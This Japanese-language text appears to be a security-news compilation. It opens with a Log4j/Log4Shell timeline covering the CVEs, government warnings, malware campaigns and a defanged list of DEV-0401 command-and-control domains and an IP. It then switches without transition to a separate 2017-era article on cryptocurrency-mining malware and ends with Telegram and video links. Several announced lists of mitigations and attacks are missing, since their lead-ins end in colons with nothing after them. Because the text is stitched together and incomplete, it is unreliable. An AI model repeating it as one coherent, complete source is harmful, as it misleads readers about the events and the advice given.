2021年12月初旬に発見されて以来、Apache Log4jの脆弱性は世界的な見出しを飾っています。この欠陥は世界中の膨大な数の組織に影響を与え、セキュリティチームは関連するリスクを軽減するために奔走しています。以下は、Log4jの脆弱性を取り巻く重要な出来事のタイムラインです。
Apacheは、数百万のJavaベースアプリケーションで使用されるロギングライブラリであるLog4jの重大な脆弱性の詳細を公開しました。攻撃者は、CVSS脆弱性評価尺度で10点満点中10点と評価されたこの欠陥（CVE-2021-44228）を悪用し始めました。「Log4Shell」と呼ばれています。この脆弱性は、脆弱なアプリケーションを実行する基盤サーバーでのリモートコード実行（RCE）につながる可能性があります。Apacheの開発者は勧告の中で、「メッセージルックアップ置換が有効になっている場合、ログメッセージまたはログメッセージパラメータを制御できる攻撃者は、LDAPサーバーからロードされた任意のコードを実行できます」と述べています。この問題の修正はLog4j 2.15.0のリリースで利用可能になり、世界中のセキュリティチームが組織を保護するために取り組みました。企業は最新バージョンをインストールするよう求められました。
脆弱性の影響が続く中、英国国家サイバーセキュリティセンター（NCSC）は、英国企業に対してこの欠陥に関する公開警告を発令し、緩和戦略の概要を示しました。NCSCは、Log4jが使用されていることがわかっているすべての組織に対し、最新のアップデートを直ちにインストールするよう勧告しました。「これは、Log4jを含むことが知られているソフトウェアを使用しているすべての英国組織にとって最優先事項であるべきです。組織は、インターネットに直面するソフトウェアとインターネットに直面しないソフトウェアの両方を更新する必要があります」と声明は述べています。企業はまた、未知のLog4jインスタンスを探し出し、保護的なネットワーク監視/ブロッキングを展開するよう求められました。
英国のNCSCと同様に、米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）はLog4jの脆弱性に公的に対応し、Jen Easterly長官がネットワーク防御者にとっての緊急の課題について述べました。「CISAは、Log4jソフトウェアライブラリを含む製品に影響を与える重大な脆弱性に積極的に対処するため、公共および民間セクターのパートナーと緊密に協力しています」と彼女は声明で述べています。「私たちは、この脆弱性の緩和を推進し、関連する脅威活動を検出するために緊急の措置を講じています。この脆弱性を既知の悪用された脆弱性のカタログに追加しました。これにより、連邦民間機関はこの脆弱性に緊急にパッチを適用または修復する義務が生じ、非連邦パートナーにもそのシグナルが送られます。ネットワークが脆弱である可能性のあるエンティティに積極的に連絡を取り、スキャニングおよび侵入検出ツールを活用して、政府および業界のパートナーが脆弱性への露出または悪用を特定できるように支援しています。」
CISAは、資産所有者に対し、脆弱性を緩和するために追加の3つの即時措置を取ることを推奨しました：
Apache Log4jに影響を与える2番目の脆弱性が発見されました。新しいエクスプロイトであるCVE 2021-45046は、CVEの説明によると、悪意のある攻撃者がJNDIルックアップパターンを使用して悪意のある入力データを作成し、サービス拒否（DoS）攻撃を仕掛けることを可能にします。このエクスプロイトに対する新しいパッチが利用可能になり、メッセージルックアップパターンのサポートが削除され、デフォルトでJNDI機能が無効になりました。元の欠陥に対するLog4j 2.15.0の修正は、特定の非デフォルト構成では不完全でした。
「CVE-2021-45046は元の脆弱性よりも深刻度は低いものの、パッチが適用されていない、または不適切にパッチが適用されたシステムに対して脅威アクターが悪意のある攻撃を実行するための別のベクトルになります」と、Resilienceのリスクおよび対応責任者であるAmy Chang氏は、欠陥が発見された直後にCSOに語っています。「CVE-2021-44228に対する不完全なパッチは、悪意のある入力データを作成するために悪用される可能性があり、DoS攻撃につながる可能性があります。DoS攻撃は、マシンやネットワークをシャットダウンし、意図したユーザーがアクセスできなくする可能性があります」と彼女は付け加えました。組織は、できるだけ早くLog4j 2.16.0に更新するよう勧告されました。
Apacheは、3番目の主要なLog4j脆弱性の詳細を公開し、別の修正を利用可能にしました。これは、10点満点中7.5点と評価された無限再帰の欠陥でした。「Log4jチームは、CVE-2021-45105というセキュリティ脆弱性を認識しました。これは、Java 8以降向けのLog4j 2.17.0で対処されています」と同社は述べています。「Apache Log4j2バージョン2.0-alpha1から2.16.0は、自己参照ルックアップによる無制御の再帰から保護していませんでした。ロギング設定が、Context Lookup（例：$${ctx:loginId}）を含む非デフォルトのPattern Layoutを使用する場合、Thread Context Map（MDC）入力データを制御できる攻撃者は、再帰的なルックアップを含む悪意のある入力データを作成でき、その結果StackOverflowErrorが発生し、プロセスが終了します。これはDoS（サービス拒否）攻撃としても知られています。」
Apacheはまた、以下の緩和策の概要を示しました：
サイバーセキュリティ研究グループCryptolaemusは、Log4jの脆弱性が悪用されてWindowsデバイスにDridexバンキングトロイの木馬が、LinuxデバイスにMeterpreterが感染していると警告しました。Dridexは、Microsoft Wordのマクロを使用して銀行の認証情報を盗むマルウェアの一種であり、Meterpreterは、攻撃者がターゲットマシンを探索しコードを実行できる対話型シェルを提供するMetasploit攻撃ペイロードです。CryptolaemusメンバーのJoseph Roosen氏はBleepingComputerに対し、脅威アクターがLog4jのRMI（Remote Method Invocation）エクスプロイトの亜種を使用して、脆弱なデバイスに攻撃者が制御するリモートサーバーからJavaクラスをロードして実行させていると語りました。
サイバーセキュリティベンダーTenableが公開したデータによると、全資産の10件に1件がLog4Shellに対して脆弱であり、組織の30%がこのバグのスキャンを開始していなかったことが明らかになりました。「評価された資産のうち、Log4Shellは約10%で発見されており、幅広いサーバー、Webアプリケーション、コンテナ、IoTデバイスが含まれています」とTenableのブログ投稿は述べています。「Log4Shellは、あらゆる業界と地域に広がっています。企業サーバーの10件に1件が露出しています。Webアプリケーションも10件に1件、といった具合です。デジタルインフラストラクチャのほぼすべての側面の10件に1件が、Log4Shellを介した悪意のある悪用の可能性を秘めています。」
ベンダーは、Log4Shellは、Log4jがインフラストラクチャとアプリケーションの両方に広く普及しているため、EternalBlue（WannaCry攻撃で悪用された）よりも大きな潜在的な脅威をもたらすと警告しました。「歴史上、これほど明白に修復を求めた脆弱性はありません。Log4Shellは、私たちが知るコンピューティングを定義し、自分自身を保護するための努力をした者と、無責任であることに甘んじる者とを分けるでしょう」と付け加えました。
米国連邦取引委員会（FTC）は、米国の組織に対し、Log4Shellの脆弱性を直ちに修正するよう求め、修正しない場合は当局からの制裁措置を受けるリスクがあると警告しました。「脆弱性が発見され悪用されると、個人情報の漏洩や喪失、金銭的損失、その他の取り返しのつかない被害が生じるリスクがあります。既知のソフトウェア脆弱性を軽減するための合理的な措置を講じる義務は、連邦取引委員会法やグラム・リーチ・ブライリー法などを含む法律に関連します」とFTCは述べました。また、Log4jに依存する企業およびそのベンダーは、消費者への被害の可能性を低減し、FTCの法的措置を回避するために、今すぐ行動することが重要であると付け加えました。「FTCは、Log4jまたは将来の同様の既知の脆弱性の結果として消費者データを露出から保護するための合理的な措置を講じなかった企業に対して、その完全な法的権限を行使する意向です。」
マイクロソフトは、Log4j脆弱性ガイダンスページを更新し、インターネットに接するシステムを標的とし、NightSkyランサムウェアを展開する中国拠点のランサムウェア事業者（DEV-0401）に関する詳細を掲載しました。「早くも1月4日には、攻撃者がVMware Horizonを実行するインターネットに接するシステムにおいてCVE-2021-44228脆弱性を悪用し始めました」と記述しています。「DEV-0401はこれまでにLockFile、AtomSilo、Rookを含む複数のランサムウェアファミリーを展開しており、同様にConfluence（CVE-2021-26084）やオンプレミスのExchangeサーバー（CVE-2021-34473）を実行するインターネットに接するシステムを悪用しています。」マイクロソフトの分析によると、攻撃者は正規のドメインを偽装するコマンド＆コントロール（CnC）サーバーを使用していることが判明しました。これらには、service[.]trendmrcio[.]com、api[.]rogerscorp[.]org、api[.]sophosantivirus[.]ga、apicon[.]nvidialab[.]us、w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net、139[.]180[.]217[.]203が含まれます。
セキュリティ101：暗号通貨マイニングマルウェアの影響
オーストラリア政府は、デジタル通貨を合法的な支払い手段として承認しました。7月1日以降、ビットコインなどのデジタル通貨を使用した購入は、二重課税を避けるために同国の物品・サービス税が免除されます。これにより、トレーダーや投資家は、合法的な取引プラットフォームを通じてそれらを売買する際に課税されなくなります。
昨年4月にビットコインを支払い手段として合法化した日本は、すでに20,000以上の加盟店がビットコイン決済を受け入れると予想しています。他の国々も、部分的ではありますがこの流れに加わっています。スイスの企業や一部の公共組織、ノルウェー、オランダなどです。最近の調査では、暗号通貨ウォレットのユニークなアクティブユーザー数は290万から580万人と推定され、その大部分は北米と欧州に集中しています。
しかし、デジタル通貨の受け入れと普及がオンライン上の脅威と何の関係があるのでしょうか？実は、大いに関係があります。ビットコインのような暗号通貨が現実世界での普及を進めるにつれて、それを悪用するサイバー犯罪の脅威も同様に増加します。しかし、具体的にはどのように？そして、それは企業や一般ユーザーにとって何を意味するのでしょうか？
暗号通貨は、通貨の単位を示す暗号化されたデータ文字列です。これは、ブロックチェーンとしても知られるピアツーピアネットワークによって監視・管理され、購入、販売、送金などの取引の安全な台帳としても機能します。物理的なお金とは異なり、暗号通貨は分散化されており、政府や他の金融機関によって発行されません。
暗号通貨は、マイニングと呼ばれるプロセスで維持・確認される暗号アルゴリズムによって作成（および保護）されます。このプロセスでは、コンピューターのネットワークや特定用途向け集積回路（ASIC）などの専用ハードウェアが取引を処理・検証します。このプロセスは、ネットワークを運営するマイナーに暗号通貨をインセンティブとして与えます。
実際には700以上の暗号通貨がありますが、取引が容易に行えるものは一部であり、時価総額が1億ドルを超えるものはさらに少ないです。例えば、ビットコインはサトシ・ナカモト（仮名）によって作成され、2009年にオープンソースコードとしてリリースされました。ブロックチェーン技術により、データ構造（ブロック）が通信エンドポイント（ノード）のネットワークを通じて公開・分散データベースにブロードキャスト、検証、登録されるシステムが実現しました。
ビットコインが最も有名な暗号通貨ですが、他の人気のある代替手段もあります。イーサリアムは、「スマートコントラクト」をさらに進化させ、それらをコーディングするために必要なプログラミング言語を開発者にとってよりアクセスしやすくしました。契約、または条件付き/if-then取引は、コードとして記述され、イーサリアムのブロックチェーン上で（要件が満たされている限り）実行されます。
しかし、イーサリアムは、ハッカーがイーサリアムのソフトウェア上で動作する自律分散組織（DAO）の脆弱性を悪用し、5000万米ドル相当のイーサ（イーサリアムの通貨）を流出させたことで悪名を高めました。これにより、元のブロックチェーンに基づくイーサリアムクラシックと、そのアップグレード版（ハードフォークによる）であるイーサリアムが開発されました。
他にも注目すべき暗号通貨があります：ライトコイン、ドージコイン、モネロです。ライトコインは、ビットコインの技術的な改良版とされ、Scryptマイニングアルゴリズム（ビットコインはSHA-256を使用）により高速な処理を可能にします。ライトコインネットワークは8400万ライトコインを生成でき、これはビットコインが発行する暗号通貨ユニットの4倍です。モネロは、リング署名（デジタル署名の一種）とCryptoNoteアプリケーション層プロトコルを使用して、取引の金額、送信元、送信先のプライバシーを保護することで知られています。ドージコインは、当初は教育目的または娯楽目的で開発され、より広い層を対象としていました。無制限のドージコインを生成でき、通貨を動かすためにScryptも使用します。
暗号通貨には国境がありません。誰でもいつでもどこでも、仲介業者による遅延や追加/隠れた手数料なしに送金できます。その性質上、暗号通貨は偽造が不可能であり、個人情報は暗号化の壁の内側に保護されるため、詐欺や個人情報詐取に対してより安全です。
残念ながら、暗号通貨の同じ明らかな収益性、利便性、匿名性は、ランサムウェア事業者が示したように、サイバー犯罪者にとっても理想的なものとなっています。暗号通貨の人気の高まりは、システムやデバイスに感染させ、それらを暗号通貨マイニングマシンの軍隊に変えるマルウェアの発生と軌を一にしています。
暗号通貨マイニングは計算集約型のタスクであり、専用プロセッサ、グラフィックカード、その他のハードウェアからの多大なリソースを必要とします。マイニングは確かにお金を生み出しますが、多くの注意点があります。利益はマイナーがハードウェアに投資した金額に相対的であり、さらにそれらを稼働させるための電気代も考慮する必要があります。
暗号通貨はブロック単位でマイニングされます。例えばビットコインでは、一定数のハッシュが解決されるたびに、マイナーにブロックごとに付与されるビットコインの数が半減します。ビットコインネットワークは10分ごとに暗号通貨を生成するように設計されているため、次のハッシュを解決する難易度が調整されます。マイニング能力が増加するにつれて、新しいブロックをマイニングするためのリソース要件は増大します。支払いは比較的小さく、4年ごとに減少していきます。2016年には、ブロックマイニングの報酬は半減して12.5 BTC（2017年7月5日時点で32,000ドル）になりました。その結果、多くのマイナーはプールに集まり、マイニングをより効率的に行います。利益は、マイナーが費やした労力に応じてグループ間で分配されます。
悪意のある者たちは、これらの課題を回避するためにマルウェアを使用します。ただし、サイバー犯罪者のマイナーにとって注意点があります。インターネットに接続されたデバイスやマシンは、ネットワークデータを処理するのに十分な速度はありますが、大規模な計算能力を持っていません。これを補うために、暗号通貨マイニングマルウェアは、コンピューターのボットネットをゾンビ化してこれらのタスクを実行するように設計されています。別の手法は控えめさを完全に無視したものでした。2014年には、ハーバード大学のスーパーコンピュータークラスターOdysseyが、ドージコインを不正にマイニングするために使用されました。同年、米国国立科学財団の自社スパコンでも同様の事件が発生しました。2017年2月初旬には、米連邦準備制度理事会のサーバーの1つがビットコインマイニングに悪用されました。
暗号通貨マイニングマルウェアは、他の多くの脅威と同じ手口を採用しています。マルウェアを仕込んだスパムメールや悪意のあるURLからのダウンロードから、ジャンクウェアや潜在的に迷惑なアプリケーション（PUA）に至るまでです。2014年1月、Yahoo!のJavaベースの広告ネットワークの脆弱性が侵害され、ヨーロッパのエンドユーザーがビットコインマイニングマルウェアを配信するマルバタイズメントにさらされました。その1か月前には、ドイツの法執行機関が、マルウェアを使用して95万4000ドル相当のビットコインをマイニングしたとしてハッカーを逮捕しました。
私たちは、サイバー犯罪者のビットコインマイニングに関連するハッキングツールやバックドアの出現を2011年にはすでに確認しており、その後、分散型サービス妨害（DDoS）やURLスプーフィングなどの追加機能を持つさまざまな暗号通貨マイニング脅威を目撃してきました。別のものは、トレンドマイクロ製品のコンポーネントを偽装しようとしました。2014年には、脅威はAndroidデバイスにKagecoinとして波及し、ビットコイン、ライトコイン、ドージコインをマイニングできるようになりました。中東のアンダーグラウンドで広く共有されたリモートアクセス型トロイの木馬（RAT）njrat/Njw0rmは、ビットコインマイニング機能を追加するように変更されました。同様のことが、ライトコインをマイニングできる古いJava RATにも行われました。
今年特筆すべき暗号通貨マイニングマルウェアは、これまでのところAdylkuzz、CPUMiner/EternalMiner、Linux.MulDrop.14です。これらはすべて脆弱性を悪用します。AdylkuzzはEternalBlueを活用します。これは、WannaCryランサムウェアが破壊的な効果に使用した同じセキュリティ上の欠陥です。一方、CPUMiner/EternalMinerは、相互運用性ソフトウェアスイートSambaの脆弱性であるSambaCryを使用しました。Linuxトロイの木馬であるLinux.MulDrop.14は、Raspberry Piデバイスを標的とします。これらの脅威はデバイスやマシンに感染し、それらをモネロマイニングのボットネットに変えました。
暗号通貨マイニングマルウェアは、感染したマシンのリソースを盗み、そのパフォーマンスに大きな影響を与え、摩耗を増加させます。感染には、電力消費の増加など、他のコストも伴います。
しかし、その影響はパフォーマンスの問題だけではないことも判明しています。2017年1月1日から6月24日までに、当社のセンサーは4,894のビットコインマイナーを検出し、これらは460,259件を超えるビットコインマイニングアクティビティを引き起こしました。また、これらのマイナーの20%以上がウェブベースおよびネットワークベースの攻撃も引き起こしていることが判明しました。さらに、ランサムウェアの攻撃ベクトルに関連する侵入試行さえも発見しました。私たちが目撃したこれらの攻撃の中で最も多かったものは次のとおりです：
これらのマルウェアは、ネットワークまたはシステムの可用性、完全性、セキュリティを脅かす可能性があり、企業のミッションクリティカルな運用に混乱を引き起こす可能性があります。情報の盗難やシステムの乗っ取りも厄介な結果です。これらの攻撃は、追加のマルウェアが配信される経路にもなり得ます。
モノのインターネット（IoT）デバイスも暗号通貨マイニングマルウェアの標的となっています。デジタルビデオレコーダー（DVR）/監視カメラ、セットトップボックス、ネットワーク接続ストレージ（NAS）デバイス、特に家庭や企業環境に広く普及しているルーターが対象です。2017年4月には、ビットコインマイニング機能を備えたMiraiの亜種が出現しました。Miraiの悪名は、IoTデバイス、特に家庭用ルーターに引き起こした大混乱に由来し、昨年はそれらを使用して有名サイトをオフラインにしました。2016年の最初の3四半期に、私たちはWindowsシステム、家庭用ルーター、IPカメラからなるビットコインマイニングゾンビ軍団を検出しました。
2017年1月1日から6月24日までに、さまざまな種類のデバイスがビットコインをマイニングしているのも観察されましたが、当社のテレメトリーではこれらのアクティビティが許可されたものかどうかを確認できませんでした。また、ビットコインマイニングアクティビティは、2017年2月の1日あたり1,800件のトリガーイベントから3月には3,000件へと40%急増しました。
ビットコインマイニングは本質的に違法ではありません（少なくとも多くの国では）が、所有者の知識と同意なしに行われた場合、侵害を伴う可能性があります。Windowsを実行するマシンが最も多くのビットコインマイニングアクティビティを示しましたが、注目すべき点は次のとおりです：
[参照：Miraiやホームネットワーク攻撃からルーターを保護する方法]
暗号通貨マイニングマルウェアは、システムのパフォーマンスを低下させ、エンドユーザーや企業を情報の盗難、乗っ取り、その他多数のマルウェアのリスクにさらす可能性があります。そして、これらのマシンをゾンビ化することにより、暗号通貨マルウェアは、意図せずに被害者を問題の一部に変えてしまうことさえあります。
実際、感染したデバイス、ひいては企業の資産やユーザーのデータへの悪影響は、それらを信頼できる脅威にしています。これらのマルウェアに対する特効薬はありませんが、以下のベストプラクティスに従うことで軽減できます。
IT/システム管理者や情報セキュリティの専門家は、アプリケーションのホワイトリスト登録や、不審な実行ファイルの実行やインストールを防止する同様のセキュリティメカニズムも検討できます。ネットワークトラフィックを積極的に監視することで、マルウェア感染を示す可能性のある危険信号をより適切に特定できます。最小権限の原則を適用し、Webインジェクションへの対策を開発し、電子メールゲートウェイを保護し、企業向けモバイルデバイスのベストプラクティスを実装し、セキュリティ意識の高い労働力を育成することは、これらの脅威に対する企業のエクスポージャーを減らすための多層防御アプローチの一部です。しかし最終的に、暗号通貨マイニングマルウェアに対するインターネット接続デバイスのセキュリティは、ユーザーだけの負担ではありません。オリジナル設計・機器メーカーも、それらが動作するエコシステムの保護において重要な役割を果たします。
Telegram: https://t.me/cryptodeeptech
動画: https://youtu.be/PNDBjoT83zA
出典: https://cryptodeeptech.ru/log4j-vulnerability
